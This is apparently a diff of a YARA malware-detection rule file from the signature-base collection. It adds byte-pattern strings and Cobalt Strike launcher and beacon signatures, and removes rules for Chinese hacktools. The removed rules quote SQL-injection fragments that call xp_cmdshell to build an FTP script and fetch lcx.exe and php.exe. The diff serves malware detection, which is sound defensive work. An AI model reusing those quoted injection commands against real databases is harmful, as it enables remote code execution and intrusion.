+		$s160 = { A0 A1 A0 A1 A0 A2 ?? ?? A0 A2 A0 A1 A0 A2 ?? ?? A0 A3 A0 A2 A0 A4 ?? ?? ?? ?? A0 A4 A0 A2 A0 A4 ?? ?? ?? ?? A0 A5 A0 A1 A0 A2 ?? ?? }
+		$s161 = { A1 A0 A1 A0 A1 A3 ?? ?? A1 A3 A1 A0 A1 A3 ?? ?? A1 A2 A1 A3 A1 A5 ?? ?? ?? ?? A1 A5 A1 A3 A1 A5 ?? ?? ?? ?? A1 A4 A1 A0 A1 A3 ?? ?? }
+		$s162 = { A2 A3 A2 A3 A2 A0 ?? ?? A2 A0 A2 A3 A2 A0 ?? ?? A2 A1 A2 A0 A2 A6 ?? ?? ?? ?? A2 A6 A2 A0 A2 A6 ?? ?? ?? ?? A2 A7 A2 A3 A2 A0 ?? ?? }
+		$s163 = { A3 A2 A3 A2 A3 A1 ?? ?? A3 A1 A3 A2 A3 A1 ?? ?? A3 A0 A3 A1 A3 A7 ?? ?? ?? ?? A3 A7 A3 A1 A3 A7 ?? ?? ?? ?? A3 A6 A3 A2 A3 A1 ?? ?? }
+		$s164 = { A4 A5 A4 A5 A4 A6 ?? ?? A4 A6 A4 A5 A4 A6 ?? ?? A4 A7 A4 A6 A4 A0 ?? ?? ?? ?? A4 A0 A4 A6 A4 A0 ?? ?? ?? ?? A4 A1 A4 A5 A4 A6 ?? ?? }
+		$s165 = { A5 A4 A5 A4 A5 A7 ?? ?? A5 A7 A5 A4 A5 A7 ?? ?? A5 A6 A5 A7 A5 A1 ?? ?? ?? ?? A5 A1 A5 A7 A5 A1 ?? ?? ?? ?? A5 A0 A5 A4 A5 A7 ?? ?? }
+		$s166 = { A6 A7 A6 A7 A6 A4 ?? ?? A6 A4 A6 A7 A6 A4 ?? ?? A6 A5 A6 A4 A6 A2 ?? ?? ?? ?? A6 A2 A6 A4 A6 A2 ?? ?? ?? ?? A6 A3 A6 A7 A6 A4 ?? ?? }
+		$s167 = { A7 A6 A7 A6 A7 A5 ?? ?? A7 A5 A7 A6 A7 A5 ?? ?? A7 A4 A7 A5 A7 A3 ?? ?? ?? ?? A7 A3 A7 A5 A7 A3 ?? ?? ?? ?? A7 A2 A7 A6 A7 A5 ?? ?? }
+		$s168 = { A8 A9 A8 A9 A8 AA ?? ?? A8 AA A8 A9 A8 AA ?? ?? A8 AB A8 AA A8 AC ?? ?? ?? ?? A8 AC A8 AA A8 AC ?? ?? ?? ?? A8 AD A8 A9 A8 AA ?? ?? }
+		$s169 = { A9 A8 A9 A8 A9 AB ?? ?? A9 AB A9 A8 A9 AB ?? ?? A9 AA A9 AB A9 AD ?? ?? ?? ?? A9 AD A9 AB A9 AD ?? ?? ?? ?? A9 AC A9 A8 A9 AB ?? ?? }
+		$s170 = { AA AB AA AB AA A8 ?? ?? AA A8 AA AB AA A8 ?? ?? AA A9 AA A8 AA AE ?? ?? ?? ?? AA AE AA A8 AA AE ?? ?? ?? ?? AA AF AA AB AA A8 ?? ?? }
+		$s171 = { AB AA AB AA AB A9 ?? ?? AB A9 AB AA AB A9 ?? ?? AB A8 AB A9 AB AF ?? ?? ?? ?? AB AF AB A9 AB AF ?? ?? ?? ?? AB AE AB AA AB A9 ?? ?? }
+		$s172 = { AC AD AC AD AC AE ?? ?? AC AE AC AD AC AE ?? ?? AC AF AC AE AC A8 ?? ?? ?? ?? AC A8 AC AE AC A8 ?? ?? ?? ?? AC A9 AC AD AC AE ?? ?? }
+		$s173 = { AD AC AD AC AD AF ?? ?? AD AF AD AC AD AF ?? ?? AD AE AD AF AD A9 ?? ?? ?? ?? AD A9 AD AF AD A9 ?? ?? ?? ?? AD A8 AD AC AD AF ?? ?? }
+		$s174 = { AE AF AE AF AE AC ?? ?? AE AC AE AF AE AC ?? ?? AE AD AE AC AE AA ?? ?? ?? ?? AE AA AE AC AE AA ?? ?? ?? ?? AE AB AE AF AE AC ?? ?? }
+		$s175 = { AF AE AF AE AF AD ?? ?? AF AD AF AE AF AD ?? ?? AF AC AF AD AF AB ?? ?? ?? ?? AF AB AF AD AF AB ?? ?? ?? ?? AF AA AF AE AF AD ?? ?? }
+		$s176 = { B0 B1 B0 B1 B0 B2 ?? ?? B0 B2 B0 B1 B0 B2 ?? ?? B0 B3 B0 B2 B0 B4 ?? ?? ?? ?? B0 B4 B0 B2 B0 B4 ?? ?? ?? ?? B0 B5 B0 B1 B0 B2 ?? ?? }
+		$s177 = { B1 B0 B1 B0 B1 B3 ?? ?? B1 B3 B1 B0 B1 B3 ?? ?? B1 B2 B1 B3 B1 B5 ?? ?? ?? ?? B1 B5 B1 B3 B1 B5 ?? ?? ?? ?? B1 B4 B1 B0 B1 B3 ?? ?? }
+		$s178 = { B2 B3 B2 B3 B2 B0 ?? ?? B2 B0 B2 B3 B2 B0 ?? ?? B2 B1 B2 B0 B2 B6 ?? ?? ?? ?? B2 B6 B2 B0 B2 B6 ?? ?? ?? ?? B2 B7 B2 B3 B2 B0 ?? ?? }
+		$s179 = { B3 B2 B3 B2 B3 B1 ?? ?? B3 B1 B3 B2 B3 B1 ?? ?? B3 B0 B3 B1 B3 B7 ?? ?? ?? ?? B3 B7 B3 B1 B3 B7 ?? ?? ?? ?? B3 B6 B3 B2 B3 B1 ?? ?? }
+		$s180 = { B4 B5 B4 B5 B4 B6 ?? ?? B4 B6 B4 B5 B4 B6 ?? ?? B4 B7 B4 B6 B4 B0 ?? ?? ?? ?? B4 B0 B4 B6 B4 B0 ?? ?? ?? ?? B4 B1 B4 B5 B4 B6 ?? ?? }
+		$s181 = { B5 B4 B5 B4 B5 B7 ?? ?? B5 B7 B5 B4 B5 B7 ?? ?? B5 B6 B5 B7 B5 B1 ?? ?? ?? ?? B5 B1 B5 B7 B5 B1 ?? ?? ?? ?? B5 B0 B5 B4 B5 B7 ?? ?? }
+		$s182 = { B6 B7 B6 B7 B6 B4 ?? ?? B6 B4 B6 B7 B6 B4 ?? ?? B6 B5 B6 B4 B6 B2 ?? ?? ?? ?? B6 B2 B6 B4 B6 B2 ?? ?? ?? ?? B6 B3 B6 B7 B6 B4 ?? ?? }
+		$s183 = { B7 B6 B7 B6 B7 B5 ?? ?? B7 B5 B7 B6 B7 B5 ?? ?? B7 B4 B7 B5 B7 B3 ?? ?? ?? ?? B7 B3 B7 B5 B7 B3 ?? ?? ?? ?? B7 B2 B7 B6 B7 B5 ?? ?? }
+		$s184 = { B8 B9 B8 B9 B8 BA ?? ?? B8 BA B8 B9 B8 BA ?? ?? B8 BB B8 BA B8 BC ?? ?? ?? ?? B8 BC B8 BA B8 BC ?? ?? ?? ?? B8 BD B8 B9 B8 BA ?? ?? }
+		$s185 = { B9 B8 B9 B8 B9 BB ?? ?? B9 BB B9 B8 B9 BB ?? ?? B9 BA B9 BB B9 BD ?? ?? ?? ?? B9 BD B9 BB B9 BD ?? ?? ?? ?? B9 BC B9 B8 B9 BB ?? ?? }
+		$s186 = { BA BB BA BB BA B8 ?? ?? BA B8 BA BB BA B8 ?? ?? BA B9 BA B8 BA BE ?? ?? ?? ?? BA BE BA B8 BA BE ?? ?? ?? ?? BA BF BA BB BA B8 ?? ?? }
+		$s187 = { BB BA BB BA BB B9 ?? ?? BB B9 BB BA BB B9 ?? ?? BB B8 BB B9 BB BF ?? ?? ?? ?? BB BF BB B9 BB BF ?? ?? ?? ?? BB BE BB BA BB B9 ?? ?? }
+		$s188 = { BC BD BC BD BC BE ?? ?? BC BE BC BD BC BE ?? ?? BC BF BC BE BC B8 ?? ?? ?? ?? BC B8 BC BE BC B8 ?? ?? ?? ?? BC B9 BC BD BC BE ?? ?? }
+		$s189 = { BD BC BD BC BD BF ?? ?? BD BF BD BC BD BF ?? ?? BD BE BD BF BD B9 ?? ?? ?? ?? BD B9 BD BF BD B9 ?? ?? ?? ?? BD B8 BD BC BD BF ?? ?? }
+		$s190 = { BE BF BE BF BE BC ?? ?? BE BC BE BF BE BC ?? ?? BE BD BE BC BE BA ?? ?? ?? ?? BE BA BE BC BE BA ?? ?? ?? ?? BE BB BE BF BE BC ?? ?? }
+		$s191 = { BF BE BF BE BF BD ?? ?? BF BD BF BE BF BD ?? ?? BF BC BF BD BF BB ?? ?? ?? ?? BF BB BF BD BF BB ?? ?? ?? ?? BF BA BF BE BF BD ?? ?? }
+		$s192 = { C0 C1 C0 C1 C0 C2 ?? ?? C0 C2 C0 C1 C0 C2 ?? ?? C0 C3 C0 C2 C0 C4 ?? ?? ?? ?? C0 C4 C0 C2 C0 C4 ?? ?? ?? ?? C0 C5 C0 C1 C0 C2 ?? ?? }
+		$s193 = { C1 C0 C1 C0 C1 C3 ?? ?? C1 C3 C1 C0 C1 C3 ?? ?? C1 C2 C1 C3 C1 C5 ?? ?? ?? ?? C1 C5 C1 C3 C1 C5 ?? ?? ?? ?? C1 C4 C1 C0 C1 C3 ?? ?? }
+		$s194 = { C2 C3 C2 C3 C2 C0 ?? ?? C2 C0 C2 C3 C2 C0 ?? ?? C2 C1 C2 C0 C2 C6 ?? ?? ?? ?? C2 C6 C2 C0 C2 C6 ?? ?? ?? ?? C2 C7 C2 C3 C2 C0 ?? ?? }
+		$s195 = { C3 C2 C3 C2 C3 C1 ?? ?? C3 C1 C3 C2 C3 C1 ?? ?? C3 C0 C3 C1 C3 C7 ?? ?? ?? ?? C3 C7 C3 C1 C3 C7 ?? ?? ?? ?? C3 C6 C3 C2 C3 C1 ?? ?? }
+		$s196 = { C4 C5 C4 C5 C4 C6 ?? ?? C4 C6 C4 C5 C4 C6 ?? ?? C4 C7 C4 C6 C4 C0 ?? ?? ?? ?? C4 C0 C4 C6 C4 C0 ?? ?? ?? ?? C4 C1 C4 C5 C4 C6 ?? ?? }
+		$s197 = { C5 C4 C5 C4 C5 C7 ?? ?? C5 C7 C5 C4 C5 C7 ?? ?? C5 C6 C5 C7 C5 C1 ?? ?? ?? ?? C5 C1 C5 C7 C5 C1 ?? ?? ?? ?? C5 C0 C5 C4 C5 C7 ?? ?? }
+		$s198 = { C6 C7 C6 C7 C6 C4 ?? ?? C6 C4 C6 C7 C6 C4 ?? ?? C6 C5 C6 C4 C6 C2 ?? ?? ?? ?? C6 C2 C6 C4 C6 C2 ?? ?? ?? ?? C6 C3 C6 C7 C6 C4 ?? ?? }
+		$s199 = { C7 C6 C7 C6 C7 C5 ?? ?? C7 C5 C7 C6 C7 C5 ?? ?? C7 C4 C7 C5 C7 C3 ?? ?? ?? ?? C7 C3 C7 C5 C7 C3 ?? ?? ?? ?? C7 C2 C7 C6 C7 C5 ?? ?? }
+		$s200 = { C8 C9 C8 C9 C8 CA ?? ?? C8 CA C8 C9 C8 CA ?? ?? C8 CB C8 CA C8 CC ?? ?? ?? ?? C8 CC C8 CA C8 CC ?? ?? ?? ?? C8 CD C8 C9 C8 CA ?? ?? }
+		$s201 = { C9 C8 C9 C8 C9 CB ?? ?? C9 CB C9 C8 C9 CB ?? ?? C9 CA C9 CB C9 CD ?? ?? ?? ?? C9 CD C9 CB C9 CD ?? ?? ?? ?? C9 CC C9 C8 C9 CB ?? ?? }
+		$s202 = { CA CB CA CB CA C8 ?? ?? CA C8 CA CB CA C8 ?? ?? CA C9 CA C8 CA CE ?? ?? ?? ?? CA CE CA C8 CA CE ?? ?? ?? ?? CA CF CA CB CA C8 ?? ?? }
+		$s203 = { CB CA CB CA CB C9 ?? ?? CB C9 CB CA CB C9 ?? ?? CB C8 CB C9 CB CF ?? ?? ?? ?? CB CF CB C9 CB CF ?? ?? ?? ?? CB CE CB CA CB C9 ?? ?? }
+		$s204 = { CC CD CC CD CC CE ?? ?? CC CE CC CD CC CE ?? ?? CC CF CC CE CC C8 ?? ?? ?? ?? CC C8 CC CE CC C8 ?? ?? ?? ?? CC C9 CC CD CC CE ?? ?? }
+		$s205 = { CD CC CD CC CD CF ?? ?? CD CF CD CC CD CF ?? ?? CD CE CD CF CD C9 ?? ?? ?? ?? CD C9 CD CF CD C9 ?? ?? ?? ?? CD C8 CD CC CD CF ?? ?? }
+		$s206 = { CE CF CE CF CE CC ?? ?? CE CC CE CF CE CC ?? ?? CE CD CE CC CE CA ?? ?? ?? ?? CE CA CE CC CE CA ?? ?? ?? ?? CE CB CE CF CE CC ?? ?? }
+		$s207 = { CF CE CF CE CF CD ?? ?? CF CD CF CE CF CD ?? ?? CF CC CF CD CF CB ?? ?? ?? ?? CF CB CF CD CF CB ?? ?? ?? ?? CF CA CF CE CF CD ?? ?? }
+		$s208 = { D0 D1 D0 D1 D0 D2 ?? ?? D0 D2 D0 D1 D0 D2 ?? ?? D0 D3 D0 D2 D0 D4 ?? ?? ?? ?? D0 D4 D0 D2 D0 D4 ?? ?? ?? ?? D0 D5 D0 D1 D0 D2 ?? ?? }
+		$s209 = { D1 D0 D1 D0 D1 D3 ?? ?? D1 D3 D1 D0 D1 D3 ?? ?? D1 D2 D1 D3 D1 D5 ?? ?? ?? ?? D1 D5 D1 D3 D1 D5 ?? ?? ?? ?? D1 D4 D1 D0 D1 D3 ?? ?? }
+		$s210 = { D2 D3 D2 D3 D2 D0 ?? ?? D2 D0 D2 D3 D2 D0 ?? ?? D2 D1 D2 D0 D2 D6 ?? ?? ?? ?? D2 D6 D2 D0 D2 D6 ?? ?? ?? ?? D2 D7 D2 D3 D2 D0 ?? ?? }
+		$s211 = { D3 D2 D3 D2 D3 D1 ?? ?? D3 D1 D3 D2 D3 D1 ?? ?? D3 D0 D3 D1 D3 D7 ?? ?? ?? ?? D3 D7 D3 D1 D3 D7 ?? ?? ?? ?? D3 D6 D3 D2 D3 D1 ?? ?? }
+		$s212 = { D4 D5 D4 D5 D4 D6 ?? ?? D4 D6 D4 D5 D4 D6 ?? ?? D4 D7 D4 D6 D4 D0 ?? ?? ?? ?? D4 D0 D4 D6 D4 D0 ?? ?? ?? ?? D4 D1 D4 D5 D4 D6 ?? ?? }
+		$s213 = { D5 D4 D5 D4 D5 D7 ?? ?? D5 D7 D5 D4 D5 D7 ?? ?? D5 D6 D5 D7 D5 D1 ?? ?? ?? ?? D5 D1 D5 D7 D5 D1 ?? ?? ?? ?? D5 D0 D5 D4 D5 D7 ?? ?? }
+		$s214 = { D6 D7 D6 D7 D6 D4 ?? ?? D6 D4 D6 D7 D6 D4 ?? ?? D6 D5 D6 D4 D6 D2 ?? ?? ?? ?? D6 D2 D6 D4 D6 D2 ?? ?? ?? ?? D6 D3 D6 D7 D6 D4 ?? ?? }
+		$s215 = { D7 D6 D7 D6 D7 D5 ?? ?? D7 D5 D7 D6 D7 D5 ?? ?? D7 D4 D7 D5 D7 D3 ?? ?? ?? ?? D7 D3 D7 D5 D7 D3 ?? ?? ?? ?? D7 D2 D7 D6 D7 D5 ?? ?? }
+		$s216 = { D8 D9 D8 D9 D8 DA ?? ?? D8 DA D8 D9 D8 DA ?? ?? D8 DB D8 DA D8 DC ?? ?? ?? ?? D8 DC D8 DA D8 DC ?? ?? ?? ?? D8 DD D8 D9 D8 DA ?? ?? }
+		$s217 = { D9 D8 D9 D8 D9 DB ?? ?? D9 DB D9 D8 D9 DB ?? ?? D9 DA D9 DB D9 DD ?? ?? ?? ?? D9 DD D9 DB D9 DD ?? ?? ?? ?? D9 DC D9 D8 D9 DB ?? ?? }
+		$s218 = { DA DB DA DB DA D8 ?? ?? DA D8 DA DB DA D8 ?? ?? DA D9 DA D8 DA DE ?? ?? ?? ?? DA DE DA D8 DA DE ?? ?? ?? ?? DA DF DA DB DA D8 ?? ?? }
+		$s219 = { DB DA DB DA DB D9 ?? ?? DB D9 DB DA DB D9 ?? ?? DB D8 DB D9 DB DF ?? ?? ?? ?? DB DF DB D9 DB DF ?? ?? ?? ?? DB DE DB DA DB D9 ?? ?? }
+		$s220 = { DC DD DC DD DC DE ?? ?? DC DE DC DD DC DE ?? ?? DC DF DC DE DC D8 ?? ?? ?? ?? DC D8 DC DE DC D8 ?? ?? ?? ?? DC D9 DC DD DC DE ?? ?? }
+		$s221 = { DD DC DD DC DD DF ?? ?? DD DF DD DC DD DF ?? ?? DD DE DD DF DD D9 ?? ?? ?? ?? DD D9 DD DF DD D9 ?? ?? ?? ?? DD D8 DD DC DD DF ?? ?? }
+		$s222 = { DE DF DE DF DE DC ?? ?? DE DC DE DF DE DC ?? ?? DE DD DE DC DE DA ?? ?? ?? ?? DE DA DE DC DE DA ?? ?? ?? ?? DE DB DE DF DE DC ?? ?? }
+		$s223 = { DF DE DF DE DF DD ?? ?? DF DD DF DE DF DD ?? ?? DF DC DF DD DF DB ?? ?? ?? ?? DF DB DF DD DF DB ?? ?? ?? ?? DF DA DF DE DF DD ?? ?? }
+		$s224 = { E0 E1 E0 E1 E0 E2 ?? ?? E0 E2 E0 E1 E0 E2 ?? ?? E0 E3 E0 E2 E0 E4 ?? ?? ?? ?? E0 E4 E0 E2 E0 E4 ?? ?? ?? ?? E0 E5 E0 E1 E0 E2 ?? ?? }
+		$s225 = { E1 E0 E1 E0 E1 E3 ?? ?? E1 E3 E1 E0 E1 E3 ?? ?? E1 E2 E1 E3 E1 E5 ?? ?? ?? ?? E1 E5 E1 E3 E1 E5 ?? ?? ?? ?? E1 E4 E1 E0 E1 E3 ?? ?? }
+		$s226 = { E2 E3 E2 E3 E2 E0 ?? ?? E2 E0 E2 E3 E2 E0 ?? ?? E2 E1 E2 E0 E2 E6 ?? ?? ?? ?? E2 E6 E2 E0 E2 E6 ?? ?? ?? ?? E2 E7 E2 E3 E2 E0 ?? ?? }
+		$s227 = { E3 E2 E3 E2 E3 E1 ?? ?? E3 E1 E3 E2 E3 E1 ?? ?? E3 E0 E3 E1 E3 E7 ?? ?? ?? ?? E3 E7 E3 E1 E3 E7 ?? ?? ?? ?? E3 E6 E3 E2 E3 E1 ?? ?? }
+		$s228 = { E4 E5 E4 E5 E4 E6 ?? ?? E4 E6 E4 E5 E4 E6 ?? ?? E4 E7 E4 E6 E4 E0 ?? ?? ?? ?? E4 E0 E4 E6 E4 E0 ?? ?? ?? ?? E4 E1 E4 E5 E4 E6 ?? ?? }
+		$s229 = { E5 E4 E5 E4 E5 E7 ?? ?? E5 E7 E5 E4 E5 E7 ?? ?? E5 E6 E5 E7 E5 E1 ?? ?? ?? ?? E5 E1 E5 E7 E5 E1 ?? ?? ?? ?? E5 E0 E5 E4 E5 E7 ?? ?? }
+		$s230 = { E6 E7 E6 E7 E6 E4 ?? ?? E6 E4 E6 E7 E6 E4 ?? ?? E6 E5 E6 E4 E6 E2 ?? ?? ?? ?? E6 E2 E6 E4 E6 E2 ?? ?? ?? ?? E6 E3 E6 E7 E6 E4 ?? ?? }
+		$s231 = { E7 E6 E7 E6 E7 E5 ?? ?? E7 E5 E7 E6 E7 E5 ?? ?? E7 E4 E7 E5 E7 E3 ?? ?? ?? ?? E7 E3 E7 E5 E7 E3 ?? ?? ?? ?? E7 E2 E7 E6 E7 E5 ?? ?? }
+		$s232 = { E8 E9 E8 E9 E8 EA ?? ?? E8 EA E8 E9 E8 EA ?? ?? E8 EB E8 EA E8 EC ?? ?? ?? ?? E8 EC E8 EA E8 EC ?? ?? ?? ?? E8 ED E8 E9 E8 EA ?? ?? }
+		$s233 = { E9 E8 E9 E8 E9 EB ?? ?? E9 EB E9 E8 E9 EB ?? ?? E9 EA E9 EB E9 ED ?? ?? ?? ?? E9 ED E9 EB E9 ED ?? ?? ?? ?? E9 EC E9 E8 E9 EB ?? ?? }
+		$s234 = { EA EB EA EB EA E8 ?? ?? EA E8 EA EB EA E8 ?? ?? EA E9 EA E8 EA EE ?? ?? ?? ?? EA EE EA E8 EA EE ?? ?? ?? ?? EA EF EA EB EA E8 ?? ?? }
+		$s235 = { EB EA EB EA EB E9 ?? ?? EB E9 EB EA EB E9 ?? ?? EB E8 EB E9 EB EF ?? ?? ?? ?? EB EF EB E9 EB EF ?? ?? ?? ?? EB EE EB EA EB E9 ?? ?? }
+		$s236 = { EC ED EC ED EC EE ?? ?? EC EE EC ED EC EE ?? ?? EC EF EC EE EC E8 ?? ?? ?? ?? EC E8 EC EE EC E8 ?? ?? ?? ?? EC E9 EC ED EC EE ?? ?? }
+		$s237 = { ED EC ED EC ED EF ?? ?? ED EF ED EC ED EF ?? ?? ED EE ED EF ED E9 ?? ?? ?? ?? ED E9 ED EF ED E9 ?? ?? ?? ?? ED E8 ED EC ED EF ?? ?? }
+		$s238 = { EE EF EE EF EE EC ?? ?? EE EC EE EF EE EC ?? ?? EE ED EE EC EE EA ?? ?? ?? ?? EE EA EE EC EE EA ?? ?? ?? ?? EE EB EE EF EE EC ?? ?? }
+		$s239 = { EF EE EF EE EF ED ?? ?? EF ED EF EE EF ED ?? ?? EF EC EF ED EF EB ?? ?? ?? ?? EF EB EF ED EF EB ?? ?? ?? ?? EF EA EF EE EF ED ?? ?? }
+		$s240 = { F0 F1 F0 F1 F0 F2 ?? ?? F0 F2 F0 F1 F0 F2 ?? ?? F0 F3 F0 F2 F0 F4 ?? ?? ?? ?? F0 F4 F0 F2 F0 F4 ?? ?? ?? ?? F0 F5 F0 F1 F0 F2 ?? ?? }
+		$s241 = { F1 F0 F1 F0 F1 F3 ?? ?? F1 F3 F1 F0 F1 F3 ?? ?? F1 F2 F1 F3 F1 F5 ?? ?? ?? ?? F1 F5 F1 F3 F1 F5 ?? ?? ?? ?? F1 F4 F1 F0 F1 F3 ?? ?? }
+		$s242 = { F2 F3 F2 F3 F2 F0 ?? ?? F2 F0 F2 F3 F2 F0 ?? ?? F2 F1 F2 F0 F2 F6 ?? ?? ?? ?? F2 F6 F2 F0 F2 F6 ?? ?? ?? ?? F2 F7 F2 F3 F2 F0 ?? ?? }
+		$s243 = { F3 F2 F3 F2 F3 F1 ?? ?? F3 F1 F3 F2 F3 F1 ?? ?? F3 F0 F3 F1 F3 F7 ?? ?? ?? ?? F3 F7 F3 F1 F3 F7 ?? ?? ?? ?? F3 F6 F3 F2 F3 F1 ?? ?? }
+		$s244 = { F4 F5 F4 F5 F4 F6 ?? ?? F4 F6 F4 F5 F4 F6 ?? ?? F4 F7 F4 F6 F4 F0 ?? ?? ?? ?? F4 F0 F4 F6 F4 F0 ?? ?? ?? ?? F4 F1 F4 F5 F4 F6 ?? ?? }
+		$s245 = { F5 F4 F5 F4 F5 F7 ?? ?? F5 F7 F5 F4 F5 F7 ?? ?? F5 F6 F5 F7 F5 F1 ?? ?? ?? ?? F5 F1 F5 F7 F5 F1 ?? ?? ?? ?? F5 F0 F5 F4 F5 F7 ?? ?? }
+		$s246 = { F6 F7 F6 F7 F6 F4 ?? ?? F6 F4 F6 F7 F6 F4 ?? ?? F6 F5 F6 F4 F6 F2 ?? ?? ?? ?? F6 F2 F6 F4 F6 F2 ?? ?? ?? ?? F6 F3 F6 F7 F6 F4 ?? ?? }
+		$s247 = { F7 F6 F7 F6 F7 F5 ?? ?? F7 F5 F7 F6 F7 F5 ?? ?? F7 F4 F7 F5 F7 F3 ?? ?? ?? ?? F7 F3 F7 F5 F7 F3 ?? ?? ?? ?? F7 F2 F7 F6 F7 F5 ?? ?? }
+		$s248 = { F8 F9 F8 F9 F8 FA ?? ?? F8 FA F8 F9 F8 FA ?? ?? F8 FB F8 FA F8 FC ?? ?? ?? ?? F8 FC F8 FA F8 FC ?? ?? ?? ?? F8 FD F8 F9 F8 FA ?? ?? }
+		$s249 = { F9 F8 F9 F8 F9 FB ?? ?? F9 FB F9 F8 F9 FB ?? ?? F9 FA F9 FB F9 FD ?? ?? ?? ?? F9 FD F9 FB F9 FD ?? ?? ?? ?? F9 FC F9 F8 F9 FB ?? ?? }
+		$s250 = { FA FB FA FB FA F8 ?? ?? FA F8 FA FB FA F8 ?? ?? FA F9 FA F8 FA FE ?? ?? ?? ?? FA FE FA F8 FA FE ?? ?? ?? ?? FA FF FA FB FA F8 ?? ?? }
+		$s251 = { FB FA FB FA FB F9 ?? ?? FB F9 FB FA FB F9 ?? ?? FB F8 FB F9 FB FF ?? ?? ?? ?? FB FF FB F9 FB FF ?? ?? ?? ?? FB FE FB FA FB F9 ?? ?? }
+		$s252 = { FC FD FC FD FC FE ?? ?? FC FE FC FD FC FE ?? ?? FC FF FC FE FC F8 ?? ?? ?? ?? FC F8 FC FE FC F8 ?? ?? ?? ?? FC F9 FC FD FC FE ?? ?? }
+		$s253 = { FD FC FD FC FD FF ?? ?? FD FF FD FC FD FF ?? ?? FD FE FD FF FD F9 ?? ?? ?? ?? FD F9 FD FF FD F9 ?? ?? ?? ?? FD F8 FD FC FD FF ?? ?? }
+		$s254 = { FE FF FE FF FE FC ?? ?? FE FC FE FF FE FC ?? ?? FE FD FE FC FE FA ?? ?? ?? ?? FE FA FE FC FE FA ?? ?? ?? ?? FE FB FE FF FE FC ?? ?? }
+		$s255 = { FF FE FF FE FF FD ?? ?? FF FD FF FE FF FD ?? ?? FF FC FF FD FF FB ?? ?? ?? ?? FF FB FF FD FF FB ?? ?? ?? ?? FF FA FF FE FF FD ?? ?? }
+		$fp1 = "ICSharpCode.Decompiler" wide
 
 	condition:
-		filesize <100KB and 4 of them
+		any of ($s*) and not 1 of ($fp*)
 }
-rule SIGNATURE_BASE_Txt_Ftp : FILE
+rule SIGNATURE_BASE_Cobaltstrike_MZ_Launcher
 {
 	meta:
-		description = "Chinese Hacktool Set - Webshells - file ftp.txt"
-		author = "Florian Roth (Nextron Systems)"
-		id = "311de4b0-fa19-545a-8a65-a40b255b5b39"
-		date = "2015-06-14"
+		description = "Detects CobaltStrike MZ header ReflectiveLoader launcher"
+		author = "yara@s3c.za.net"
+		id = "461a4741-11c5-53d9-b8e1-52d64cfe755b"
+		date = "2021-07-08"
 		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_webshells.yar#L554-L573"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3495e6bcb5484e678ce4bae0bd1a420b7eb6ad1d"
-		logic_hash = "02eae9b19274ab7b816d7c336017af8f0fdd5273664eb37be92be12661f3ef1f"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_cobaltstrike_evasive.yar#L297-L307"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "aa188546db138dffdcdbf6538367b5d5bc37638a2784b24b7fcd913c15e56072"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
 
 	strings:
-		$s1 = "';exec master.dbo.xp_cmdshell 'echo open " ascii
-		$s2 = "';exec master.dbo.xp_cmdshell 'ftp -s:';" ascii
-		$s3 = "';exec master.dbo.xp_cmdshell 'echo get lcx.exe" ascii
-		$s4 = "';exec master.dbo.xp_cmdshell 'echo get php.exe" ascii
-		$s5 = "';exec master.dbo.xp_cmdshell 'copy " ascii
-		$s6 = "ftp -s:d:\\ftp.txt " fullword ascii
-		$s7 = "echo bye>>d:\\ftp.txt " fullword ascii
+		$mz_launcher = { 4D 5A 41 52 55 48 89 E5 48 81 EC 20 00 00 00 48 8D 1D }
 
 	condition:
-		filesize <2KB and 2 of them
+		$mz_launcher
 }
-rule SIGNATURE_BASE_Txt_Lcx : FILE
+rule SIGNATURE_BASE_Cobaltstrike_Unmodifed_Beacon
 {
 	meta:
-		description = "Chinese Hacktool Set - Webshells - file lcx.c"
-		author = "Florian Roth (Nextron Systems)"
-		id = "4a4e8810-6dae-526e-86f0-43de45d1c87a"
-		date = "2015-06-14"
+		description = "Detects unmodified CobaltStrike beacon DLL"
+		author = "yara@s3c.za.net"
+		id = "8eeb03f9-9698-5a46-b45b-224d5c3f3df7"
+		date = "2019-08-16"
 		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_webshells.yar#L575-L592"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ddb3b6a5c5c22692de539ccb796ede214862befe"
-		logic_hash = "48121824d3173b77b54b52dc60d3422a904ada46a6ebb20bb585086911cd8360"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_cobaltstrike_evasive.yar#L309-L320"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "10114a431fb70be8e18e67b22aa76bf2c0536f07d373f717c1dc51755e0847c9"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
 
 	strings:
-		$s1 = "printf(\"Usage:%s -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-l" ascii
-		$s2 = "sprintf(tmpbuf2,\"\\r\\n########### reply from %s:%d ####################\\r\\n" ascii
-		$s3 = "printf(\" 3: connect to HOST1:PORT1 and HOST2:PORT2\\r\\n\");" fullword ascii
-		$s4 = "printf(\"got,ip:%s,port:%d\\r\\n\",inet_ntoa(client1.sin_addr),ntohs(client1.sin" ascii
-		$s5 = "printf(\"[-] connect to host1 failed\\r\\n\");" fullword ascii
+		$loader_export = "ReflectiveLoader"
+		$exportname = "beacon.dll"
 
 	condition:
-		filesize <25KB and 2 of them
